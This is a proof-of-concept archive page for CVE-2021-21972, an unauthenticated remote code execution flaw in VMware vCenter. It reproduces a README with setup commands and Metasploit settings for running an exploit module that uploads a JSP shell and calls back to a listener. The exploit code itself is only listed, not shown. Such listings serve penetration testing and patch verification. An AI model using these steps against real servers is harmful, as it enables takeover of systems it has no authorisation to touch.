Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-21972 PoC — VMware vSphere Client 路径遍历漏洞

Source
Associated Vulnerability
Title:VMware vSphere Client 路径遍历漏洞 (CVE-2021-21972)
Description:The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
Description
CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script
Readme
# CVE-2021-21972
CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script

# preparation
```zsh
git clone https://github.com/TaroballzChen/CVE-2021-21972
cd CVE-2021-21972
mkdir -p ~/.msf4/modules/exploits/multi/http
cp * ~/.msf4/modules/exploits/multi/http
chmod +x ~/.msf4/modules/exploits/multi/http/vmware_vcenter_server_unauthenticated_file_upload_exploit.py
msfconsole
```

# metasploit usage
```console
set target <target>
set PAYLOAD <payload>
set rfile ~/.msf4/modules/exploits/multi/http/shell1.jsp
set rhost <vuln ip>
set rssl <true for https ; false for http>
set port <vuln port>
set LHOST <list host ip>
set LPORT <list port>
```

# exploit
![setting](1.png)
![exploit](2.png)
File Snapshot

[4.0K] /data/pocs/45f8efd101b96e7eeef2f8234bbf15917caf4548 ├── [550K] 1.png ├── [310K] 2.png ├── [ 34K] LICENSE ├── [ 709] README.md ├── [ 763] shell1.jsp └── [ 11K] vmware_vcenter_server_unauthenticated_file_upload_exploit.py 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →